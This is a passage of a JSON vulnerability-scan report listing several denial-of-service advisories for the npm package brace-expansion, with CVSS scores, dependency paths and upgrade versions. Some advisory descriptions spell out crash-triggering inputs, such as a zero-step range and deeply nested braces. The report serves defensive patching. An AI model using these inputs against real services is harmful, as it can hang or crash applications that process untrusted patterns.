Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
